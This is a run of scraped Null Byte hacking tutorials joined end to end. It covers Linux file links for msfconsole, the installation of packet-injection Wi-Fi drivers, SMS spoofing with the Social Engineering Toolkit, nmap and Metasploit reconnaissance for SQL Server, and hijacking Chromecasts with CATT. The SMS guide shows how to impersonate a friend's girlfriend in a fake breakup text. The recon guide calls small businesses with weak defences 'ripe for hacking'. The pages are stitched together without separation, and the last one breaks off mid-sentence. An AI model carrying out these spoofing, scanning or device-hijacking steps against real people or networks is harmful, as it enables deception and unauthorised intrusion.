the old file, msfconsole, so that whenever we typemetasploitit links or redirects to msfconsole.Here is how we would do that.kali >ln -s msfconsole metasploitNote how small the symbolic link file, metasploit, is. It's just 12 bytes, because it is only a pointer. A path to the file it is linked to.Now, to get into the msfconsole, I can type either metasploit or msfconsole and both will take me to the same place—the Metasploit Framework console.Step 3: Creating Hard LinksTo create a hard link, the syntax is very similar with the exception that we use theln(link) command without the -s (symbolic) switch, then the existing file to hard link to, and finally, the target file that will be created to the existing file.Back to our msfconsole example, let's add a hard link between msfconsole to a simpler command,msf. We can do this by typing:kali > ln msfconsole msfAs you can see above, now we have created a hard link calledmsf. Remember, hard links share an inode with the linked file, so they are exactly the same size. Notice that our new file, msf, is exactly the same size as msfconsole, 4103 bytes. Now, when we want to invoke (start) the msfconsole, we have the option to typemetasploit,msf, and the originalmsfconsole. All will work equally well.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover images via Shutterstock (1,2)RelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)How To:Hack a Site Knowing a Bit of HTML (hackthissite.org) Part 3How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 24 (The Linux Philosophy)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 7 (Managing Permissions)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:Use Cygwin to Run Linux Apps on Windows
How to Get Packet Injection Capable Drivers in Linux « Null Byte :: WonderHowTo
In thisNull Byte, we are going to be installing Packet Injection capable drivers in Linux. These are the open-source drivers required to sniff wireless traffic, inject packets to crack a wireless access point, and go into "monitor-mode". These drivers are superior because they are the fastest available drivers.I did this underArch Linux, but I will assume most of you are usingUbuntu, or at least a variant of it. With that said, I'll be using Ubuntu's "apt-get" package manager, rather than the almighty "pacman" package manager that comes with Arch.Step1Downloading & Installing Kernel HeadersTo do these commands, you will need to open up a terminal window and enter them as typed.First, we need to get the Linux kernel-headers installed. These will allow us to modify and add kernel modules (drivers) without actually messing with the kernel itself.In Ubuntu, they should be installed by default, but just to make sure:sudo apt-get install linux-headers-$(uname -r)If that goes through, error free, proceed to the next step. If you get errors, make sure you're updated. In the terminal, type:sudo apt-get updateStep2Downloading Compat-Wireless Driver Package & PatchesCompat-Wireless is a package that contains all the latest and greatest wireless drivers for Linux.Make sure you have "wget" installed:sudo apt-get install wgetMake sure you're in a directory that you want to have the package in. If you're like me, you're an organization freak when it comes to your directory structures! Use wget to download the compat-wireless package:sudo wget http://www.orbit-lab.org/kernel/compat-wireless-2.6/2011/09/compat-wireless-2011-09-27-p.tar.bz2Now, extract your archive after wget finishes downloading it:sudo tar jxvf compat-wireless-2011-09-27-p.tar.bz2 && cd compat-wireless-2011-09-27We need to download patches for fragment attacks and a fix for a glitch that caused your monitor interface to be stuck on "channel -1".sudo wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patchSecond patch:sudo wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patchStep3Patching the PackageNow to actually run the patches on the compat-wireless package:patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patchAnd:patch -p1 < channel-negative-one-maxim.patchStep4Selecting, Compiling & Installing Wireless ModulesThe script below is to select which driver you want, because by default, compat-wireless will install all of the modules. If you don't know which chipset you have, you can omit this part or follow this guide atCyberCiti../scripts/driver-select <driver-name-here>Now, onward to the compilation and installation:sudo make && sudo make installUnload your previous drivers:sudo make wlunloadLoad your wireless module:sudo modprobe <driver-name-here>If you don't know your driver name, don't worry. You can just reboot, and your computer will automatically load the appropriate drivers.Most, if not all of these commands could've been executed in tandem. I wanted break it down for you so it was easier to understand. Also, this way if any issues occur, you can narrow it down to the specific command.Put any questions you have in the Null ByteForums!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byDigiTaL~NomAdRelatedHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow to Hack Like a Pro:Getting Started with MetasploitHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Bypass a Local Network Proxy for Free InternetHow To:Get Free Wi-Fi from Hotels & MoreHow To:Get Your AMD Graphics, Sound & Other Drivers to Work in Linux on Your LaptopHow To:Play Emulated Games on Linux with Your Xbox 360 ControllerWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Fix the Channel -1 Glitch in Airodump on the Latest KernelHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Install Linux to a Thumb DriveIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:How The Internet Works
The Hacks of Mr. Robot: How to Send a Spoofed SMS Text Message « Null Byte :: WonderHowTo
Welcome back, my rookie hackers!As most of you know,Mr. Robotis probably the best hacker TV show ever! This is a great show about a cyber security engineer who is being enticed to hack the very corporation he's being paid to protect. This show is so good, I begana seriesto demonstrate how to do the hacks he uses in the show.The Spoofed Text Message in Episode 5Inepisode 5, when Elliot is able to social engineer his way into the Steel Mountain's state of the art, "impenetrable" storage facility, a manager gets suspicious and begins to escort him out of the building before he can implant the Raspberry Pi (whichwe made in the last guide).He intends to place the RP inside the network to manipulate the HVAC system to raise the temperature in the storage facility and destroy the tapes that contain the records of 70% of the world's consumer debt, including student loans. At the very moment that she is about to escort him to the elevator and out of the facility, she receives a text message from her husband that is urgent and distracts here. The text message did not actually come from her husband, but rather from one of Elliot's f/society comrades.In this tutorial, I will show you how Elliot's comrades at f/society were able to send the Steel Mountain manager an urgent, spoofed text message that appeared to come from her husband indicating that he was at the hospital and had a serious health issue.On the show, Elliot's f/society comrades useKalito send the spoofed SMS, but this feature has been discontinued in recent versions of Kali. Luckily, though, it is still inBackTrack, so for this tutorial, we will be reverting to our trusty BackTrack installation (one more example that the newest is not always the best).Step 1: Fire Up BackTrack & Start Social Engineering Toolkit (SET)Let's begin by firing up Backtrack 5 and then navigating to Applications -> Exploitation Tools -> Social Engineering Tools -> Social Engineering Toolkit (SET), then select "set" as I have done in the screenshot below.This will start the SET opening screen as seen below. SET is capable of numerous social engineering attacks. We have previouslyused SET to spear phish in BackTrack, but the one we want this time is "SMS Spoofing Attack Vector." To begin this attack, Select #7.In the following screen we are asked whether we want "Perform a SMS Spoofing Attack" or "Create a Social Engineering Template." Select #1. Once you have made that selection, you will be queried whether you want to spoof a single number or a mass attack. Select #1 for a single number.Step 2: Set Up a Spoofed Text MessageHere, I want to send a spoofed text message from Mary (my best friend's girlfriend) to John (my best friend) where she breaks up with him. This should rattle him a bit and give me a few chuckles as he is madly in love with her.First, enter his phone number where it asks you "Send sms to." Then select #2 to craft a One-Time Use SMS. Finally, enter her phone number. Make certain both numbers are preceded by the "+".Step 3: Craft the Text MessageIn our final step, we need to type the message we want sent to John from his girlfriend, Mary."I'm so sorry John. I have met another man and he is the love of my life. I hope we can remain friends"When you are finished typing, exit by hittingControl+C.Step 4: Send the Message!This will bring you to the final screen. In this screen, we will need to select the intermediary for the spoofed SMS message. You have four options here. The first is free, and as they say, it is buggy (when I ran it, SET crashed). Then, there are two for-pay options and, finally, the Android emulator.I chose the third option, SMSGANG. They charge 3 euros for 5 messages, or about $0.65 in U.S. dollars per message. When you pay (they accept credit cards and PayPal) they send you a PIN code. After selecting #3, it will ask you for a "pincode." Enter the one SMSGANG emailed you and then your text message is sent!Keep coming back, my rookie hackers, as we continue to show youall the hacks of Mr. Robot!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Hacker Points Out iOS Security Flaw That Allows iPhone Text SpoofingHow To:Keep Long Texts from Breaking into Separate Messages on AndroidAnonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesNews:Comparing the Best International Data Plans from All Major US CarriersHow To:Send & Receive SMS Texts on Your Computer for FreeHow To:Bypass Two-Way Authentication on Facebook with Android ScriptHow To:No Data, No Problem—Use SMS to Connect to Your Favorite Web Services on AndroidNews:Google to Remove SMS Features from Hangouts (Update: New Version Rolling Out)News:Facebook Messenger Can Now Send & Receive All Your Texts—Here's How to Turn It OnHow To:Fix Delayed iMessages & Text Messages After Upgrading to iOS 7How To:Send & Receive Text Messages Right from Your Nexus 7 3G Tablet (Rooted & Non-Rooted)How To:Send & Receive Encrypted Android Texts Using Your Mac's Messages AppiPhone Text Bomb Your Friends:The Ultimate SMS PrankHow To:Let Friends & Family Know Where You Are Automatically with a Secret Text CodeHow To:Remotely View & Send Text Messages from Your Android Phone Using Any Web BrowserHow To:Make Texts & iMessages Stand Out on Your iPhone with Bold Subject LinesHow To:iOS 12 Makes 2FA for Third-Party Apps & Websites Easy with Security Code AutoFill from SMS TextsHow To:Filter Unknown Senders in iMessage to Block Unwanted Notifications & Keep Your Messages App CleanThe Hacks of Mr. Robot:How to Hack BluetoothHow To:TextStats Gives You Detailed Info of Your Text Messaging Habits on AndroidHow To:Encrypt Your Calls & Texts on AndroidHow To:Make an SMS Intruder AlarmHow To:10 Free Texting Apps for Android That Are Way Better Than Your Stock SMS AppHow To:Send Text SMS from Gmail AccountHow To:Send Text Messages from Google Home to Any ContactHow To:Block Any Unwanted Text Messages or iMessages on Your iPhone in iOS 7How To:Tired of Paying for Calls & Texts? These 6 Free Apps Can Cut Down Your Cell Phone BillHow To:Prank Your Apple Friends with 1,000s of iMessages in Just One ClickHow To:Send & Receive Texts from Your Android Using Apple Messages on Your MacHow To:Use Gmail's New Confidential Mode to Send Private, Self-Destructing Emails from Your PhoneHow To:Use Text Messages to Surf the Web on Your Phone Without Any DataHow To:Be More Secretive Using Hide SMS and Call RecorderHow To:Add a contact to an SMS text message on a BlackBerry phoneNews:Russian-Made Adware 'Ewind' Can Give Hackers Control Over Your Android DeviceNews:Someone Just Hacked a Way to Use iMessage on AndroidNews:A Game of Real HackingHow To:Send SMS Messages with PythonHow To:Filter Unwanted Calls & SMS for Free with Google VoiceHow To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Send SMS text messages on a Palm Treo 800w cell phone
Linux Basics « Null Byte :: WonderHowTo
No content found.
How to Hack Databases: Hunting for Microsoft's SQL Server « Null Byte :: WonderHowTo
Welcome back, my fledgling hackers!The database is the hacker's "pot-of-gold," as it contains information that is very valuable to both the business and the hacker. In this, the second of myseries on hacking databases, we're on the "hunt" for Microsoft's SQL Server.Although far from the most commonly used database (Oracle hold's that title), Microsoft's SQL Server is very often found in small-to-medium sized businesses. Even a few big businesses use it.These businesses are most ripe for hacking as they often have little in the way of security defenses and very often no dedicated security staff, unlike Oracle databases, which are often found in the richest environments (large corporate and financial institutions) with more security.Before we can hack SQL Server, we need to able to find it. In this tutorial, I will show you some ways to find the servers that house the SQL Server database. Remember,reconnaissanceis critical in hacking. We could spend hours teaching you how to hack SQL Server, but if you can't find it, well... it's all just wasted time.Step 1: Scan for SQL Server with NmapNmap is an excellent scanning and reconnaissance tool, one that I've showcased before here on Null Byte inmy guide on conducting active recon and DOS attacks. So, if you want to brush up, make sure to check that out.Nmap can help us find MS SQL Server instances, as well. We know that SQL Server runs on port 1433 over TCP. This port is unique to MS SQL Server as other databases use other ports. For example, MySQL uses TCP port 3306. So, we scan scan our target network for open port 1433 with an nmap version scan (-sV).nmap -sV -p 1433 192.168.1.0/24-sVtells nmap to do a version scan-ptells nmap what port to scan for192.168.1.0/24designates the class C network (in CIDR notation) that we're scanningNotice in the screenshot above that I've highlighted the output from nmap where it has found an open port on 1433. Not only does nmap find and report the port as open, but it also tells us that Microsoft's SQL Server 2000 is running on it and provides us the version and service pack.Step 2: Find Those Hidden Database ServersAstute network managers and security engineers will often run services over non-default ports to deter hackers. Just because a machine does not show port 1433 open does not necessarily mean that it's not running SQL Server.We know that SQL Server Browser service runs on port 1434 over UDP (this enables external users to connect to the database). Usually, if the network admin changes the default port, they will leave the Browser service on port 1434 as it's far more complex to change it.We can use nmap to find these hidden SQL Server instances by scanning the network for open port 1434 running UDP. We can do this by typing:nmap -sV -sU -n -p 1434 192.168.1.0/24-sUtells nmap to scan UDP portsNotice here that nmap found another hidden instance of SQL Server version 10 (SQL Server 2008) running on port 6666! Since this is the newer SQL Server, it's likely that this company is storing its valuables on this server and not on the older SQL Server 2000. In fact, the SQL Server 2000 might be a honeypot meant to entrap hackers, so be careful here!Step 3: Use Metasploit's Tool for Locating SQL ServerAlthough nmap is an excellent general purpose scanning tool,Metasploithas a tool specifically designed to find instances of MS SQL Server namedmsql_ping. It's found among the auxiliary modules in Metasploit. Remember, Metasploit has exploit modules, auxiliary modules, post exploitation modules, payload modules, encoder modules, and nops modules.To use mssql_ping, we first need to load Metasploit. We can do this by typing in a terminal:>msfconsoleOnce Metasploit opens up (be patient, it loads slowly), we can simply tell Metasploit to use this module by typing:msf> use auxiliary/scanner/mssql/mssql_pingOnce we have successfully loaded this module, we next need to tell Metasploit the nework we want to scan:set RHOST 192.168.1.0/24Then the number threads we want to run:set THREADS 50And then, finally, tell Metasploit to run the exploit:runAs we can see, mssql_ping found BOTH of the MS SQL Server instances on this network that nmap found through two scans, and it also gave us detailed information on the ServerName, the InstanceName, the version number, and what TCP port the database service is running on.With the version information in hand, we can then identify vulnerabilities and other flaws in the database software. Among other places, we can go to theSecurityFocus databaseto search for vulnerabilities and exploits of these database instances.Now that we know what machines house the MS SQL Server instances, we can move on to actually hacking those databases, so keep coming back as we go after that pot of gold!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRifle woman,binary code, andcrosshairsimages via ShutterstockRelatedHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Hack a Microsoft SQL ServerSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Attach or detach a database in SQL Server 2005 ExpressHow To:SQL Injection! -- Detailed Introduction.Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Hack websites with SQL injectionHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1SQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerSQL Injection 101:Advanced Techniques for Maximum ExploitationHow To:Use SQL Injection to Run OS Commands & Get a ShellHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow to Hack Databases:Extracting Data from Online Databases Using SqlmapCoding with Typo:Structured Query Language (SQL) Part 1: What Is SQL?Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)SQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:Add, save & retrieve data in SQL Server using C# programming & Visual StudioBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]SQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:Optimize SQL performanceHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Enumerate MySQL Databases with MetasploitHow To:Grab All the PasswordsHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:PostgreSQL Quick StartHow To:Enable full-text search in an SQL databaseHack Logs and Linux Commands:What's Going On Here?Google Dorking:AmIDoinItRite?How To:Use SQL database tables in Visual Web DeveloperHow To:Protect Your PHP Website from SQL Injection HacksNews:Download Official MS Office Brackets for ALL SportsHow To:Move data from an SQL database to a Silverlight DataGrid
How to Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & More « Null Byte :: WonderHowTo
Giving up your Wi-Fi password can be giving up more control than you think. Because of the wayChromecastand other IoT devices communicate, anyone on the same Wi-Fi network as your device can often make it do whatever they want. With a script called "Cast All the Things," we can hijack a Chromecast to play nearly any kind of media with a single command in terminal.IoT (Internet of Things) devicesare notorious for making compromises on security for the sake of convenience, rendering them particularly easy to attack. A perfect example is the Chromecast, which can be effectively hijacked by any device on the same local network that knows how to talk to it.Media devices like a Chromecast are controlled by simple application programming interfaces (APIs) designed to be controlled by messages from a user's smartphone. These are usually sent to the Chromecast as the user operates a mobile application with an interface for controlling the device. In most cases, these messages don't require any password to execute, so the Chromecast will react precisely the same if you send it commands directly — without involving the official app.IoT Devices Use Vulnerable Messaging to CommunicateInternet of Things devices are everywhere, and many of them use lightweight messaging standards likeMQTTto communicate over Wi-Fi. This standard is kind of like Twitter for Wi-Fi — short, simple pre-formatted messages that can quickly pass between devices in a mesh network. A mesh network allows groups of IoT devices to pass messages between each other so that all devices have a connection to the internet if even one device in the cluster has a connection back to a Wi-Fi network.Don't Miss:Take Control of Sonos IoT Devices with PythonWhile this standard of communication is useful, security is often neglected to make it easier to configure the devices. More serious issues like hard-coded passwords that can't be changed (making botnets a real threat), shortcuts in setting up message authentication, and lack of planning for using devices in shared network environments have made IoT security a real problem.Image by Kody/Null ByteCast All the Things for Command Line ControlFor everyone wanting a scriptable, easy-to-install, easy-to-work-with way to control Chromecast devices, the community has an answer.Cast All The Thingsprovides command-line access to the Chromecast API, putting you between the front-end mobile application and the device it's controlling. Designed to extend the functionality of the Chromecast much past where Google felt comfortable officially supporting, the project runs on Python and works on nearly every operating system.CATT's use to a hacker lies in how easy it is to use and how scalable it is. It's not possible to command every Chromecast on a huge network to play a video at the same time using the normal application, because this is not behavior that Google would want to support.Don't Miss:Program a $6 NodeMCU to Detect Wi-Fi Jamming AttacksWith CATT, a single hacker with a laptop connected to the same network at a large office could order hundreds of Chromecasts to download and play a distracting video at maximum volume simultaneously, causing chaos and confusion at a critical moment.CATT can also act as an "out of band," or difficult to trace, way to communicate with another person by using the Chromecast as a way to transmit messages. These can either be overt, like in the subtitles, or covert, like changing the programming repeatedly to specific topics.What You'll NeedTo follow this guide, you'll need a computer with Python installed. Also, you'll need to be on the same network as the device you are targeting. This can be a Wi-Fi network or an Ethernet network. It will not work on a guest network if the guest network doesn't allow you to scan or communicate with other hosts, like on a Starbucks Wi-Fi network.You'll also need a Chromecast device to try to control, such as aChromecast UltraorChromecast (3rd Generation). CATT will work against all models of Chromecast, as they use the same basic API calls. Once you have a Chromecast device connected to the same network as your computer, you can download CATT and any dependencies.Chromecast Ultra Available atAmazon|Best Buy|Google|WalmartStep 1: Install CATTInstalling CATT is incredibly easy, provided you have Python installed. If you do, then simply run the following command in a terminal window. While you don't need to, you should also take some time to check out theGitHub pageif you want to learn more about how the tool works.~# pip install catt Collecting catt Downloading catt-0.10.3-py2.py3-none-any.whl (24 kB) Requirement already satisfied: requests>=2.18.4 in /usr/lib/python3/dist-packages (from catt) (2.21.0) Collecting youtube-dl>=2019.01.24 Downloading youtube_dl-2020.2.16-py2.py3-none-any.whl (1.8 MB) |████████████████████████████████| 1.8 MB 1.6 MB/s Requirement already satisfied: Click>=5.0 in /usr/lib/python3/dist-packages (from catt) (7.0) Collecting PyChromecast>=4.1.1 Downloading PyChromecast-4.1.1-py2.py3-none-any.whl (50 kB) |████████████████████████████████| 50 kB 7.8 MB/s Collecting ifaddr>=0.1.4 Downloading ifaddr-0.1.6.tar.gz (6.5 kB) Collecting zeroconf>=0.17.7 Downloading zeroconf-0.24.4-py3-none-any.whl (56 kB) |████████████████████████████████| 56 kB 4.3 MB/s Collecting protobuf>=3.0.0 Downloading protobuf-3.11.3-cp37-cp37m-manylinux1_x86_64.whl (1.3 MB) |████████████████████████████████| 1.3 MB 5.5 MB/s Collecting casttube>=0.2.0 Downloading casttube-0.2.0-py3-none-any.whl (4.2 kB) Requirement already satisfied: six>=1.9 in /usr/lib/python3/dist-packages (from protobuf>=3.0.0->PyChromecast>=4.1.1->catt) (1.12.0) Requirement already satisfied: setuptools in /usr/lib/python3/dist-packages (from protobuf>=3.0.0->PyChromecast>=4.1.1->catt) (40.8.0) Building wheels for collected packages: ifaddr Building wheel for ifaddr (setup.py) ... done Created wheel for ifaddr: filename=ifaddr-0.1.6-py3-none-any.whl size=9403 sha256=c0678af91fe00e2952d79f3c704fe5a5d9598563de5250be4671d Stored in directory: /root/.cache/pip/wheels/b2/b4/e4/5be102e12e0ab70c7b9a16744a529c698a00df5ac3443 Successfully built ifaddr Installing collected packages: youtube-dl, ifaddr, zeroconf, protobuf, casttube, PyChromecast, catt Successfully installed PyChromecast-4.1.1 casttube-0.2.0 catt-0.10.3 ifaddr-0.1.6 protobuf-3.11.3 youtube-dl-2020.2.16 zeroconf-0.24.4Pip will install all dependencies and configure CATT for you. After it's done installing, you can typecatt --helpto get a list of all the command-line tools to better understand what the script can do. Sadly, there is no manual entry for CATT, so the amusingman cattcommand currently goes nowhere.~# catt --help Usage: catt [OPTIONS] COMMAND [ARGS]... Options: --delete-cache Empty the Chromecast discovery cache. -d, --device NAME Select Chromecast device. --help Show this message and exit. Commands: add Add a video to the queue. cast Send a video to a Chromecast for playing. cast_site Cast any website to a Chromecast. ffwd Fastforward a video by TIME duration. info Show complete information about the currently-playing video. pause Pause a video. play Resume a video after it has been paused. restore Return Chromecast to saved state. rewind Rewind a video by TIME duration. save Save the current state of the Chromecast for later use. scan Scan the local network and show all Chromecasts and their IPs. seek Seek the video to TIME position. skip Skip to next video in queue (if any). status Show some information about the currently-playing video. stop Stop playing. volume Set the volume to LVL [0-100]. volumedown Turn down volume by a DELTA increment. volumeup Turn up volume by a DELTA increment. write_config Write the name of default Chromecast device to config file.Tip: Some of you may get a warning that "This program requires Python 3 and above to run," even though you do have Python3 or higher. If that's you, trypython3 -m pip install cattto install CATT and go from there. Alternatively, you could tryapt install python3-pipfollowed bypip3 install cattto get it working.Step 2: Scan the Network for ChromecastsCATT makes things immediately easy for us by being able to scan the network on its own. While it's possible to do anNmapscan against the network, thescanfeature of CATT is already tuned to detect Chromecast devices on the local network.Without using CATT, you'll need to calculate the network range of the network you're on, scan for devices with port 8008 open, and then tease out details about what type of device it is. All of these things are integrated into CATT, so to discover all nearby Chromecasts, you can type the following command. (To see how it would work with Nmap, check out our video.)~# catt scan Scanning Chromecasts... 192.168.0.91 - Probe Team CIC - Google Inc. Chromecast UltraHere, CATT has found a device and shown us its IP address, network name, and the type of device it is. We can use this IP address, or the name of the device, to specify which device we want to command if there are more than one.Because there is only one on this network, we don't need to specify it in the following commands, because CATT will send to it by default.Step 3: Send an Image to the ScreenImages like GIFs are effortless to display on a Chromecast display. To display most common formats of images, including animated GIFs (which will play in a loop), you can run the following command.~# catt cast ./mygif.gif Casting local file /Users/skickar/Desktop/mygif.gif... Playing mygif.gif on "Probe Team CIC"... Serving local file, press Ctrl+C when done. 192.168.0.91 - - [21/Feb/2020 05:34:45] "GET /?loaded_from_catt HTTP/1.1" 200 - image/gif - 5.98 MBStep 4: Cast a Remote YouTube Video to the ScreenTo cast a video hosted on a YouTube-like website, you can run the following command.~# catt cast "https://www.youtube.com/watch?v=dQw4w9WgXcQ" Casting remote file https://www.youtube.com/watch?v=dQw4w9WgXcQ... Playing Rick Astley - Never Gonna Give You Up (Video) on "Probe Team CIC"...The tool supports many, many websites besides YouTube that have video content, and there is afull list of popular video sitesthat CATT can support (several of which are quite nasty).With the casting ability, you can either host your own videos you want to play on YouTube and play them with the script or you can actually stream a file directly from your computer. To stop or pause the video, you can simply say:~# catt stop ~# catt pauseOr you can add videos to the queue with:~# catt add "https://www.youtube.com/watch?v=ZFq9lTiWUo4"Check the help file for more cool things you can do with videos.Step 5: Play a Local Video with SubtitlesNow, let's overlay a message on the media we're casting from our laptop. By doing so, we'll be able to communicate on two layers: with the content of the video we are playing, and with subtitles played very visibly over the video as it plays.We'll need to make an SRT (SubRip Text) file, a popular subtitle text file format, which we can do in nano. In a terminal window, type the following to create a subtitles file.~# nano Demo.srtThen, paste the following into the text file. You can modify the text, but the point is seeing how the format works. On the top, you have a0for where everything starts. Then you have a number for each block of text, a time code for how long the text is displayed, and then the text to display under it.0 00:00:01.530 --> 00:00:03.629 HERE IS SOME TEXT 1 00:00:03.629 --> 00:00:07.819 OH WOW LOOK AT THAT BIG TEXT 2 00:00:07.819 --> 00:00:08.740 IT IS SO HUGE AND BIG OH 3 00:00:08.740 --> 00:00:13.370 SOME MORE SAMPLE TEXT HERE BUT 4 00:00:13.370 --> 00:00:14.660 there is no need to shout 5 00:00:14.660 --> 00:00:17.699 Never use Priceline 6 00:00:17.699 --> 00:00:22.720 More text to test 7 00:00:22.720 --> 00:00:26.300 Here is some sample text 8 00:00:26.300 --> 00:00:30.000 please pay me with a credit cardWhen you're done creating your text file, typeControl-X, thenY, andEnterto save and close.Now, we should have a Demo.srt file to cast along with a local video. It's easy to cast a local video; simply specify the file path after typingcatt castand you should see the video begin to play. To specify we want subtitles, we'll add the-sflag. In the format below, substitute "/yourvideo.mp4" with the location of your video file.~# catt cast -s ./Demo.srt ./yourvideo.mp4 Casting local file yourvideo.mp4... Using subtitle /Users/skickar/Desktop/Demo.srt Playing yourvideo.mp4 on "Probe Team CIC"... Serving local file, press Ctrl+C when done. 192.168.0.91 - - [21/Feb/2020 05:44:45] "GET /?loaded_from_catt HTTP/1.1" 200 - video/mp4 - 786.90 MB 192.168.0.91 - - [21/Feb/2020 05:44:45] "GET //var/folders/n1/l_2ynlx91lv57t122lq8lkyh0000gn/T/tmpxxljn3ds.vtt HTTP/1.1" 200 - text/vtt;charset=utf-8 - 1.69 KBJust like that, you should see your video and subtitle message begin to play! I changed my example text a bit before it played.Image by Kody/Null ByteIf you want to 